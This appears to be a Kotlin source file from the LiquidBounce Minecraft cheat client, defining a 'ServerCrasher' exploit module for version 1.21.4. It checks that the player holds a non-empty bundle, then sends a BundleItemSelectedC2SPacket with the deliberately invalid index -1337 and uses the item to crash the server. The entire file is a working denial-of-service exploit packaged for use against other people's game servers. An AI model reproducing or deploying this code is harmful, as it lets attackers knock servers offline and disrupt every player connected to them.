package net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.exploits

import net.ccbluex.liquidbounce.config.types.nesting.Choice
import net.ccbluex.liquidbounce.config.types.nesting.ChoiceConfigurable
import net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.ModuleServerCrasher
import net.ccbluex.liquidbounce.utils.client.chat
import net.ccbluex.liquidbounce.utils.client.markAsError
import net.ccbluex.liquidbounce.utils.inventory.HotbarItemSlot
import net.ccbluex.liquidbounce.utils.inventory.interactItem
import net.ccbluex.liquidbounce.utils.item.isBundle
import net.minecraft.component.DataComponentTypes
import net.minecraft.network.packet.c2s.play.BundleItemSelectedC2SPacket
import org.apache.commons.lang3.math.Fraction

/**
 * Bundle Exploit
 *
 * Requested by https://github.com/CCBlueX/LiquidBounce/issues/6103
 * PoC by https://github.com/PartialEq
 * PR by https://github.com/CaptainBoggle
 *
 */
object Bundle1214Exploit : Choice("BundleExploit-1.21.4") {

    override val parent: ChoiceConfigurable<Choice>
        get() = ModuleServerCrasher.exploitChoices

    override fun enable() {
        val slot = HotbarItemSlot(player.inventory.selectedSlot)
        val itemStack = slot.itemStack
        if (!itemStack.isBundle ||
            itemStack.get(DataComponentTypes.BUNDLE_CONTENTS)?.occupancy?.equals(Fraction.ZERO) == true) {
            chat(markAsError(ModuleServerCrasher.message("bundleExploit.notBundle")))
            ModuleServerCrasher.enabled = false
            return
        }

        val slotIdx = slot.getIdForServerWithCurrentScreen()
            ?: 36
        val selected = -1337 // anything below -1 will work
        val packet = BundleItemSelectedC2SPacket(slotIdx, selected)
        network.sendPacket(packet)

        interactItem(hand = slot.useHand)
        ModuleServerCrasher.enabled = false
    }

}
